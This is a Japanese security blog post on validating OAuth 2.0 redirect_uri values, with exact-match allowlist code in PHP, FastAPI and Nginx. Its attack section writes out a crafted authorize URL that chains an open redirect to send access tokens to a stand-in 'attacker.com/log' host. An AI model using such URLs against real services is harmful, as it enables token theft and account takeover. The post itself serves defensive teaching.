OAuth 2.0の「Redirect URI」はただの文字列ではない:トークン強奪を阻止する設計の要諦
現場でOAuthの実装を見ていると、開発者が最も軽視しがちなのが redirect_uri のバリデーションだ。「正規表現でなんとなく弾いているから大丈夫だろう」という甘い認識が、どれほど簡単にアカウント乗っ取りへと繋がるか、今日はその恐ろしさと、二度と穴を開けないための鉄壁の防御策を共有しよう。
なぜ「リダイレクト先の検証」で失敗するのか?
OAuthのフローにおいて、認可サーバーはアクセストークン(またはコード)を redirect_uri に送り込む。ここで攻撃者が狙うのは、バリデーションロジックの「緩さ」だ。
よくある失敗パターンを挙げよう。
1. 前方一致・部分一致の罠: https://app.example.com/callback を許可するつもりが、https://app.example.com.attacker.com を許してしまう実装。
2. ワイルドカードの乱用: https://*.example.com/* のように許可してしまうと、攻撃者が所有するサブドメイン(例: https://dev-test.example.com.attacker.com)にトークンが漏洩する。
3. クエリパラメータの不正利用: redirect_uri=https://app.example.com/callback?continue=https://evil.com のように、リダイレクト先のさらに先を指定させる「オープンリダイレクト」との合わせ技。
攻撃者は、被害者がログインした瞬間に発行される access_token を自分のサーバーのログに記録し、それを使って被害者のリソースを好き勝手に操作する。これが「アカウント乗っ取り」のシナリオだ。
—
実践:攻撃の手口(PoCの思考プロセス)
攻撃者は、認可サーバーが許可している redirect_uri のリストを特定した後、そのドメイン配下の「Open Redirect」脆弱性を探す。
もし、https://app.example.com/redirect?url=... のようなエンドポイントがあれば、攻撃者は以下のようなURLを作成する。
https://auth.example.com/authorize?client_id=123&redirect_uri=https://app.example.com/redirect?url=https://attacker.com/log&response_type=token
認可サーバーは redirect_uri が許可リスト内にあると判断してリダイレクトを実行するが、最終的には攻撃者のサーバーにトークン付きで転送されることになる。
—
「コピペで防ぐ」セキュアな実装ガイド
防御の鉄則は「ホワイトリストによる完全一致比較」だ。正規表現やパターンの使用は極力避け、許可されたURIの集合を配列やDBに持ち、厳密に比較する。
1. PHPによるセキュアなバリデーション例
文字列比較は === を使用し、曖昧さを排除する。
/**
* 許可されたリダイレクトURIのリスト
*/
$allowed_redirect_uris = [
'https://app.example.com/callback',
'https://app.example.com/oauth-success'
];
/**
* リクエストされたURIがホワイトリストに存在するか厳密にチェック
*/
function is_valid_redirect_uri($request_uri, $allowed_list) {
// 厳密な比較を行うため、URLエンコードされた状態の差異を考慮する必要がある場合は
// parse_urlで構造を分解してから比較するのがベスト
return in_array($request_uri, $allowed_list, true);
}
$request_uri = $_GET['redirect_uri'] ?? '';
if (!is_valid_redirect_uri($request_uri, $allowed_redirect_uris)) {
// ログに記録し、攻撃の兆候としてアラートを上げる
error_log("Invalid Redirect URI attempt: " . $request_uri);
die("Error: Invalid redirect_uri.");
}
2. Python (FastAPI) での実装
モダンなフレームワークでも、型ヒントと厳密な比較を徹底する。
from fastapi import HTTPException, Query
from typing import List
ALLOWED_URIS: List[str] = [
"https://app.example.com/callback"
]
def validate_redirect_uri(redirect_uri: str = Query(...)):
# リストに存在しない場合は即座に遮断
if redirect_uri not in ALLOWED_URIS:
raise HTTPException(status_code=400, detail="Invalid redirect_uri")
return redirect_uri
3. Nginx での防御(エッジでのガード)
アプリケーション層に届く前に不正なパラメータを弾く設定だ。
# 特定のパス以外で不正な redirect_uri パラメータが含まれていたらブロックする例
if ($arg_redirect_uri !~* "^https://app\.example\.com/callback$") {
return 403;
}
※注:nginxでの判定は非常に複雑になりやすいため、基本はアプリケーション層での検証を推奨する。これはあくまで多層防御の一環だ。
—
セキュリティチーフからの「現場の心得」
1. 動的なRedirect URI生成は悪: 「ユーザーごとにURLを変えたい」という要件があっても、state パラメータを活用して、アプリケーション内部でリダイレクト先を管理すること。決してURLパラメータでリダイレクト先を決定してはならない。
2. state パラメータは必須: トークン流出だけでなく、CSRF攻撃を防ぐためにも state パラメータを生成し、バリデーションを行うこと。
3. ログを疑え: もしシステムログに redirect_uri への不審なアクセスが記録されたら、それは単なるバグではなく、攻撃者があなたの門を叩いている音だ。
セキュリティは「魔法のコード」を探すことではなく、「どうすればこの穴を塞げるか」を執拗に考え続けることに他ならない。今回紹介したホワイトリスト方式は地味だが、最強の防御だ。さあ、今すぐ君のコードを確認してくれ。もし * や regex が見えたら、今日がその修正のチャンスだ。
コメント